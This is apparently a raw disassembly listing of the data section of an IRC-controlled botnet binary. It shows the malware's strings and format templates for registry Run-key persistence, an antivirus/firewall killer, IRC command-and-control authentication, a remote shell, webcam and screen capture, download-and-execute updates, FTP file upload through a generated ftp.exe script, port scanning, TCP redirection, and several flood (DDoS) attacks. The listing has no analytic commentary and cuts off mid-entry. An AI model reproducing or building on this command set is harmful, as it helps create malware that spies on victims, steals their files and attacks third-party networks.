aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd 0 dd offset dword_43D128 dd offset aAdministrato_0 ; "administrator" align 10h dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:00429228o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429548: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_429998: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 